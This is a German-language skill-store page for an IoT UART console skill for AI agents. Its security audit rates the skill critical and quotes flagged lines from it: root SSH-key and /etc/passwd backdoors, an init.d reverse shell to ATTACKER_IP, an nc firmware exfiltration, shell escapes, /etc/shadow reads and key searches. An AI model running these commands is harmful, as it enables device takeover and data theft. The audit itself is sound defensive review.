Fähigkeiten IoT UART Console (picocom)

📦

IoT UART Console (picocom)

Name: IoT UART Console (picocom)
Author: BrownFineSecurity

Inhaltsrevision r3 Kritisch ⚙️ Externe Befehle🌐 Netzwerkzugriff📁 Dateisystemzugriff🔑 Umgebungsvariablen

UART-Konsolen mit Picocom analysieren

Das Testen von UART-Konsolen erfordert eine sorgfältige serielle Einrichtung, Protokollierung und Handhabung von Gerätebefehlen. Dieser Skill unterstützt autorisierte IoT-Analysen mit picocom, einem Python-Helfer und einer strukturierten Sitzungsprüfung.

Unterstützt: Claude Codex Code(CC)

⚠️ 38 Schlecht

Maintain this Skill? Claim it ⚠️ 38 Schlecht

Diesen Skill nicht automatisch installieren.

Die maßgebliche Richtlinie verlangt vor jeder Installationsaktion eine Prüfung durch einen Bediener.

Mit meinem Agent installieren

Kopieren Sie diese Anfrage in Ihren Agent. Sie enthält die maßgebliche Skill-Seite und das Manifest.

Agent-Anfrage

Review the Skillstore skill "IoT UART Console (picocom)" from https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-iot-uart-console-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Ihr Agent sollte weiterhin seinen Plan anzeigen und alle von der Sicherheitsrichtlinie verlangten Bestätigungen anfordern.

Agent-lesbare Ressourcen

Verwenden Sie diese Links, wenn ein KI-Agent, Crawler oder Skript sauberen Kontext benötigt, statt die vollständige Seite zu lesen.

Markdown-Detailseite GET /skills/brownfinesecurity-iot-uart-console-picocom.md Signiertes manifest GET /api/skills/brownfinesecurity-iot-uart-console-picocom/manifest Signiertes lockfile GET /api/skills/brownfinesecurity-iot-uart-console-picocom/lockfile

Testen

„IoT UART Console (picocom)“ wird verwendet. Ich habe einen USB-Seriell-Adapter angeschlossen und muss mit dem Testen beginnen.

Erwartetes Ergebnis:

Der Skill empfiehlt, den Gerätepfad zu bestätigen, die Baudrate auszuwählen, die Protokollierung zu aktivieren und vor der Enumeration auf einen stabilen Prompt zu prüfen.

„IoT UART Console (picocom)“ wird verwendet. Ich habe ein serielles Log aus einer Boot-Sequenz.

Erwartetes Ergebnis:

Der Skill kann Bootloader-Meldungen, Kernel-Details, Login-Prompts, sichtbare Dienste und Hinweise zusammenfassen, die eine Autorisierungsprüfung erfordern.

„IoT UART Console (picocom)“ wird verwendet. Meine serielle Ausgabe enthält Befehlsechos und ANSI-Steuerzeichen.

Erwartetes Ergebnis:

Der Helfer-Workflow kann Befehlsausgaben bereinigen, Prompt-Rauschen entfernen und ein chronologisches Log für spätere Analysen beibehalten.

Sicherheitsaudit

Kritisch

v14 • 18.7.2026 Versionsbericht öffnen

The serial helper implements ordinary UART connection, prompt detection, output cleanup, and logging. However, the documentation includes explicit authentication bypass, privilege escalation, persistence, sensitive-data access, firmware transfer, and network-scanning guidance. Benign documentation and logging detections were marked false positive, while concrete harmful workflows were confirmed.

Gescannte Dateien

2,037

Analysierte Zeilen

Prüfelemente

Falschmeldungen ignoriert

Bestätigte Sicherheitsbedenken (37)

Kritisch

examples.md:269

SSH directory access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Kritisch

examples.md:270

SSH directory access

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Kritisch

examples.md:139

System password file access

cat /etc/shadow

This reads the password-hash database and exposes sensitive authentication material.

Kritisch

examples.md:280

System password file access

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Kritisch

examples.md:286

System password file access

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Kritisch

examples.md:316

System password file access

vi /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Kritisch

examples.md:360

System password file access

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

This modifies account data or turns it into shell execution, enabling persistent access.

Kritisch

SKILL.md:500

SSH directory access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Alle 37 bestätigten Funde anzeigen

Kritisch

SKILL.md:501

SSH directory access

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Kritisch

SKILL.md:383

System password file access

cat /etc/shadow # If readable - major security issue!

This reads the password-hash database and exposes sensitive authentication material.

Kritisch

SKILL.md:512

System password file access

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Kritisch

SKILL.md:388

Sudoers file access

cat /etc/sudoers

The pattern has security relevance and is retained for fail-closed review.

Kritisch

SKILL.md:494-517

Unauthorized Persistence Workflow

The skill presents backdoor accounts, remote access, and startup behavior as normal next steps after access. This enables retention of unauthorized control beyond a legitimate assessment.

The section is explicitly titled Persistence and Further Access and gives concrete persistence options.

Kritisch

SKILL.md:572-592

Authentication Bypass and Shell-Escape Guidance

The skill normalizes obtaining root shells without authentication and escaping restricted shells. These actions are not required for safe serial-console operation.

The scenario explicitly describes booting to a root shell without authentication and lists shell-escape techniques.

Hoch

examples.md:269

SSH host/auth files

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Hoch

examples.md:270

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Hoch

examples.md:246

Crypto seed/private key mention

# - Private keys

This searches for credentials or secret material on a device.

Hoch

examples.md:277

Malware type keywords

**Method 2: Backdoor User Account**:

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:280

Malware type keywords

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:283

Malware type keywords

passwd backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:286

Malware type keywords

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:292

Malware type keywords

echo '#!/bin/sh' > /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:293

Malware type keywords

echo 'while true; do' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:294

Malware type keywords

echo ' sleep 300' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:295

Malware type keywords

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:296

Malware type keywords

echo 'done &' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:297

Malware type keywords

chmod +x /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

examples.md:168

UID/GID manipulation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This explicitly sets UID 0 and launches a shell.

Hoch

examples.md:391

Network scanning tools

nmap -sn 192.168.1.0/24

This performs active network discovery and requires explicit scope.

Hoch

SKILL.md:500

SSH host/auth files

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Hoch

SKILL.md:501

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Hoch

SKILL.md:415

Certificate/key files

find / -name "*.pem" 2>/dev/null

The pattern has security relevance and is retained for fail-closed review.

Hoch

SKILL.md:416

Certificate/key files

find / -name "*.key" 2>/dev/null

The pattern has security relevance and is retained for fail-closed review.

Hoch

SKILL.md:511

Malware type keywords

# Add a backdoor user

This provides a concrete backdoor or startup persistence step.

Hoch

SKILL.md:512

Malware type keywords

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

Hoch

SKILL.md:513

Malware type keywords

passwd backdoor

This provides a concrete backdoor or startup persistence step.

Hoch

SKILL.md:516

Malware type keywords

echo "/path/to/backdoor &" >> /etc/rc.local

This provides a concrete backdoor or startup persistence step.

Elemente der Fähigkeitsprüfung (53)

Dies sind echte lokale Fähigkeiten, die für diese Fähigkeit erwartet werden können; daher müssen sie überprüft werden, werden jedoch nicht als bestätigtes bösartiges Verhalten gezählt.

Hoch

examples.md:168

Python os.system

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

examples.md:339

Python os.system

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

examples.md:168

Ruby/PHP system() call

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

examples.md:339

Ruby/PHP system() call

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

examples.md:357

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

examples.md:174

sudo privilege escalation

**Check sudo permissions**:

The documentation instructs elevated execution on the target.

Hoch

examples.md:176

sudo privilege escalation

sudo -l

The documentation instructs elevated execution on the target.

Hoch

examples.md:179

sudo privilege escalation

# Example: sudo vim -> :!/bin/sh

The documentation instructs elevated execution on the target.

Hoch

examples.md:180

sudo privilege escalation

# Example: sudo find -> sudo find . -exec /bin/sh \;

The documentation instructs elevated execution on the target.

Hoch

examples.md:406

Generic API/secret keys

grep -r "api_key" /var/www/ 2>/dev/null

This searches for credentials or secret material on a device.

Hoch

SKILL.md:591

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Hoch

SKILL.md:13

sudo privilege escalation

- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial

The documentation instructs elevated execution on the target.

Hoch

SKILL.md:387

sudo privilege escalation

sudo -l

The documentation instructs elevated execution on the target.

Mittel

examples.md:88

Unix shell invocation

U-Boot> setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:98

Unix shell invocation

5. **Once booted with init=/bin/sh**:

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:116

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:158

Unix shell invocation

find /etc -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:161

Unix shell invocation

vim -c ':!/bin/sh'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:168

Unix shell invocation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:171

Unix shell invocation

perl -e 'exec "/bin/sh";'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:179

Unix shell invocation

# Example: sudo vim -> :!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:180

Unix shell invocation

# Example: sudo find -> sudo find . -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:190

Unix shell invocation

echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:280

Unix shell invocation

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:286

Unix shell invocation

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:292

Unix shell invocation

echo '#!/bin/sh' > /etc/init.d/S99backdoor

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:295

Unix shell invocation

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:318

Unix shell invocation

:!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:321

Unix shell invocation

:set shell=/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:339

Unix shell invocation

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:342

Unix shell invocation

perl -e 'exec "/bin/sh";'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:345

Unix shell invocation

ruby -e 'exec "/bin/sh"'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:354

Unix shell invocation

find / -name anything -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:357

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:360

Unix shell invocation

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

examples.md:228

Hardcoded IP address

nc 192.168.1.100 4444 < /tmp/rootfs.bin

This sends firmware data to a fixed network host and creates an exfiltration path.

Mittel

examples.md:391

Hardcoded IP address

nmap -sn 192.168.1.0/24

This performs active subnet discovery and requires explicit scope.

Mittel

examples.md:267

Hidden file access

mkdir -p /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Mittel

examples.md:268

Hidden file access

chmod 700 /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Mittel

examples.md:269

Hidden file access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Mittel

examples.md:270

Hidden file access

chmod 600 /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Mittel

SKILL.md:443

Unix shell invocation

# Modify boot arguments (e.g., init=/bin/sh for root shell)

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:444

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:512

Unix shell invocation

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:576

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:588

Unix shell invocation

vi # Then :!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:590

Unix shell invocation

find / -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:591

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Mittel

SKILL.md:293

Hardcoded IP address

telnet 192.168.1.1

This sends firmware data to a fixed network host and creates an exfiltration path.

Mittel

SKILL.md:499

Hidden file access

mkdir -p /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Mittel

SKILL.md:500

Hidden file access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Mittel

SKILL.md:501

Hidden file access

chmod 600 /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Mittel

SKILL.md:502

Hidden file access

chmod 700 /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Risikofaktoren

⚙️ Externe Befehle (50)

examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40 SKILL.md:40-46

🌐 Netzwerkzugriff (12)

examples.md:228 examples.md:391 OBSERVING_SESSIONS.md:51 SKILL.md:291 SKILL.md:300 SKILL.md:301 SKILL.md:302 SKILL.md:655 SKILL.md:656 SKILL.md:293 SKILL.md:453 SKILL.md:454

📁 Dateisystemzugriff (50)

🔑 Umgebungsvariablen (1)

examples.md:406

Erkannte Muster

SSH directory access×4Malware type keywords×14System password file access×7UID/GID manipulationNetwork scanning toolsSudoers file access

Geprüft von: claude Audit-Verlauf anzeigen →

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Berichtslink kopieren

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Markdown-Badge

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Wissenschaftliche Zitate (APA · BibTeX · CFF)

APA-Zitat

BrownFineSecurity. (2026). IoT UART Console (picocom) security audit report (audit version 14) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14

BibTeX-Zitat

@techreport{brownfinesecurity-brownfinesecurity-iot-uart-console-picocom-2026,
  author = {BrownFineSecurity},
  title = {IoT UART Console (picocom) security audit report (audit version 14)},
  institution = {Skillstore},
  year = {2026},
  number = {14},
  url = {https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14},
  note = {Author version unspecified}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "IoT UART Console (picocom) security audit report (audit version 14)"
version: "unspecified"
type: report
authors:
  - name: "BrownFineSecurity"
date-released: "2026-07-18"
url: "https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14"
identifiers:
  - type: other
    value: "skillstore:brownfinesecurity-iot-uart-console-picocom:audit:14"
    description: "Skillstore immutable audit report identifier"

Skillstore-Score

Warum dieser Score Evidenzvertrauen: Mittel

Architektur

Wartbarkeit

Inhalt

Gemeinschaft

Spezifikationskonformität

Was Sie erstellen können

Eine UART-Sitzung einrichten

Baudrate, seriellen Gerätepfad, Prompt-Erkennung und Protokollierung für ein bekanntes Testboard festlegen.

Geräteenumeration dokumentieren

Autorisierte Beobachtungen zu System, Firmware und Diensten aus einer seriellen Shell für die Berichterstattung sammeln.

Lange serielle Durchläufe überwachen

Serielle Interaktionen protokollieren und beobachten, während ein anderer Prozess eine kontrollierte Befehlsausführung vornimmt.

Diese Prompts ausprobieren

Eine Basissitzung starten

Hilf mir, eine autorisierte UART-Sitzung auf /dev/ttyUSB0 mit 115200 Baud zu öffnen und ein geschütztes Sitzungslog zu speichern.

Den Prompt identifizieren

Verwende den serial helper, um eine Verbindung zu meinem Laborgerät herzustellen, den Prompt zu erkennen und die nächsten sicheren Enumerationsschritte zu erklären.

Ein Sitzungslog prüfen

Prüfe dieses autorisierte serielle Log und fasse Boot-Ereignisse, Shell-Zugriffsstatus, Dienste und Folgefragen zur Validierung zusammen.

Eine kontrollierte Bewertung planen

Erstelle einen UART-Bewertungsplan für mein eigenes IoT-Gerät, einschließlich Einrichtung, Beweishandhabung, sicherer Befehle und Berichts-Checkpoints.

Bewährte Praktiken

Verwenden Sie den Skill nur auf Geräten, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Genehmigung haben.
Speichern Sie serielle Logs an geschützten Speicherorten, da sie Geheimnisse enthalten können.
Bevorzugen Sie schreibgeschützte Enumeration, bis Testumfang und Wiederherstellungsschritte klar sind.

Vermeiden

Verwenden Sie die Workflows nicht ohne schriftliche Autorisierung gegen Geräte oder Netzwerke Dritter.
Speichern Sie Logs mit Anmeldeinformationen nicht in gemeinsam genutzten temporären Verzeichnissen.
Fügen Sie während routinemäßiger Tests keine Persistenz, keinen Backdoor-Zugriff und keine Kontoänderungen hinzu.